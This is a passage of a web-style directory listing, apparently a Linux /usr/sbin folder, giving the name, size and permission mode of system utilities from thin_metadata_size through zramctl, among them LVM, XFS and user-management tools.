| thin_metadata_size | File | 1.33 MB | 0755 |
|
| thin_repair | File | 1.33 MB | 0755 |
|
| thin_restore | File | 1.33 MB | 0755 |
|
| thin_rmap | File | 1.33 MB | 0755 |
|
| thin_trim | File | 1.33 MB | 0755 |
|
| tipc | File | 90.44 KB | 0755 |
|
| tune2fs | File | 102.55 KB | 0755 |
|
| tzconfig | File | 106 B | 0755 |
|
| u-d-c-print-pci-ids | File | 517 B | 0755 |
|
| ufw | File | 4.82 KB | 0755 |
|
| umount.udisks2 | File | 14.3 KB | 0755 |
|
| unix_chkpwd | File | 26.15 KB | 2755 |
|
| unix_update | File | 30.15 KB | 0755 |
|
| update-ca-certificates | File | 5.29 KB | 0755 |
|
| update-grub | File | 64 B | 0755 |
|
| update-grub-gfxpayload | File | 301 B | 0755 |
|
| update-grub2 | File | 64 B | 0755 |
|
| update-icon-caches | File | 596 B | 0755 |
|
| update-info-dir | File | 1.66 KB | 0755 |
|
| update-initramfs | File | 6.74 KB | 0755 |
|
| update-java-alternatives | File | 3.09 KB | 0755 |
|
| update-locale | File | 2.99 KB | 0755 |
|
| update-mime | File | 9.39 KB | 0755 |
|
| update-passwd | File | 34.56 KB | 0755 |
|
| update-pciids | File | 1.71 KB | 0755 |
|
| update-rc.d | File | 16.92 KB | 0755 |
|
| update-shells | File | 3.72 KB | 0755 |
|
| upgrade-from-grub-legacy | File | 1.56 KB | 0755 |
|
| useradd | File | 127.66 KB | 0755 |
|
| userdel | File | 86.85 KB | 0755 |
|
| usermod | File | 123.46 KB | 0755 |
|
| uuidd | File | 30.85 KB | 0755 |
|
| validlocale | File | 1.73 KB | 0755 |
|
| vcstime | File | 14.15 KB | 0755 |
|
| vdpa | File | 30.56 KB | 0755 |
|
| veritysetup | File | 43.76 KB | 0755 |
|
| vgcfgbackup | File | 2.89 MB | 0755 |
|
| vgcfgrestore | File | 2.89 MB | 0755 |
|
| vgchange | File | 2.89 MB | 0755 |
|
| vgck | File | 2.89 MB | 0755 |
|
| vgconvert | File | 2.89 MB | 0755 |
|
| vgcreate | File | 2.89 MB | 0755 |
|
| vgdisplay | File | 2.89 MB | 0755 |
|
| vgexport | File | 2.89 MB | 0755 |
|
| vgextend | File | 2.89 MB | 0755 |
|
| vgimport | File | 2.89 MB | 0755 |
|
| vgimportclone | File | 2.89 MB | 0755 |
|
| vgmerge | File | 2.89 MB | 0755 |
|
| vgmknodes | File | 2.89 MB | 0755 |
|
| vgreduce | File | 2.89 MB | 0755 |
|
| vgremove | File | 2.89 MB | 0755 |
|
| vgrename | File | 2.89 MB | 0755 |
|
| vgs | File | 2.89 MB | 0755 |
|
| vgscan | File | 2.89 MB | 0755 |
|
| vgsplit | File | 2.89 MB | 0755 |
|
| vigr | File | 56.53 KB | 0755 |
|
| vipw | File | 56.53 KB | 0755 |
|
| visudo | File | 219.79 KB | 0755 |
|
| vpddecode | File | 14.58 KB | 0755 |
|
| wipefs | File | 38.38 KB | 0755 |
|
| xfs_admin | File | 1.37 KB | 0755 |
|
| xfs_bmap | File | 695 B | 0755 |
|
| xfs_copy | File | 82.48 KB | 0755 |
|
| xfs_db | File | 652.44 KB | 0755 |
|
| xfs_estimate | File | 14.16 KB | 0755 |
|
| xfs_freeze | File | 800 B | 0755 |
|
| xfs_fsr | File | 42.18 KB | 0755 |
|
| xfs_growfs | File | 38.28 KB | 0755 |
|
| xfs_info | File | 1.26 KB | 0755 |
|
| xfs_io | File | 199.55 KB | 0755 |
|
| xfs_logprint | File | 78.33 KB | 0755 |
|
| xfs_mdrestore | File | 26.17 KB | 0755 |
|
| xfs_metadump | File | 782 B | 0755 |
|
| xfs_mkfile | File | 1.02 KB | 0755 |
|
| xfs_ncheck | File | 685 B | 0755 |
|
| xfs_quota | File | 90.16 KB | 0755 |
|
| xfs_repair | File | 599.38 KB | 0755 |
|
| xfs_rtcp | File | 18.15 KB | 0755 |
|
| xfs_scrub | File | 106.27 KB | 0755 |
|
| xfs_scrub_all | File | 5.87 KB | 0755 |
|
| xfs_spaceman | File | 42.3 KB | 0755 |
|
| xtables-legacy-multi | File | 96.95 KB | 0755 |
|
| xtables-monitor | File | 219.04 KB | 0755 |
|
| xtables-nft-multi | File | 219.04 KB | 0755 |
|
| zabbix_agentd | File | 1.73 MB | 0755 |
|
| zerofree | File | 14.15 KB | 0755 |
|
| zic | File | 62.32 KB | 0755 |
|
| zramctl | File | 54.52 KB | 0755 |
|